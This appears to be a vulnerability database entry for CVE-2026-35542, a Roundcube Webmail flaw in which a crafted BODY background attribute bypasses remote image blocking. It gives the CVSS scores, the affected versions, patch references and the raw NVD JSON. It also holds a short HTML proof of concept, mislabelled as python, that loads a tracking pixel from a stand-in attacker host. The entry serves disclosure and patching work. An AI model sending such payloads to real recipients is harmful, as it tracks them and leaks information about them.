CVE-2026-35542

Description

An issue was discovered in Roundcube Webmail before 1.5.14 and 1.6.14. The remote image blocking feature can be bypassed via a crafted background attribute of a BODY element in an e-mail message. This may lead to information disclosure or access-control bypass.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:* - VULNERABLE

Roundcube Webmail < 1.5.14

Roundcube Webmail < 1.6.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-35542 -->
<!-- Send this HTML as an email body to trigger the bypass -->
<html>
<body background="http://attacker-controlled-server.com/track_pixel.jpg">
    <h1>Testing Remote Image Blocking</h1>
    <p>If the remote image blocking is bypassed, the server will log a request for track_pixel.jpg.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35542
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35542
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35542/
[4] VulDB https://vuldb.com/cve/CVE-2026-35542
[5] https://github.com/roundcube/roundcubemail/commit/e052328e3dc75f13adc2e314eaa4096ac21084ad
[6] https://github.com/roundcube/roundcubemail/commit/fd0e98178db5c73eaa93d005b561874923f9b0f0
[7] https://github.com/roundcube/roundcubemail/commit/fde14d01adc9f37893cd82b635883e516ed453f8
[8] https://github.com/roundcube/roundcubemail/releases/tag/1.5.14
[9] https://github.com/roundcube/roundcubemail/releases/tag/1.6.14
[10] https://github.com/roundcube/roundcubemail/releases/tag/1.7-rc5
[11] https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.14

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35542", "sourceIdentifier": "[email protected]", "published": "2026-04-03T05:16:22.460", "lastModified": "2026-04-07T20:41:01.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Roundcube Webmail before 1.5.14 and 1.6.14. The remote image blocking feature can be bypassed via a crafted background attribute of a BODY element in an e-mail message. This may lead to information disclosure or access-control bypass."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-669"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.14", "matchCriteriaId": "40F75FD7-CF6D-4DC4-A33D-625D0F02FAB3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.6.14", "matchCriteriaId": "AF4B6448-D4F5-4680-B32C-9366630E9485"}]}]}], "references": [{"url": "https://github.com/roundcube/roundcubemail/commit/e052328e3dc75f13adc2e314eaa4096ac21084ad", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/commit/fd0e98178db5c73eaa93d005b561874923f9b0f0", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/commit/fde14d01adc9f37893cd82b635883e516ed453f8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.6.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.7-rc5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.14", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}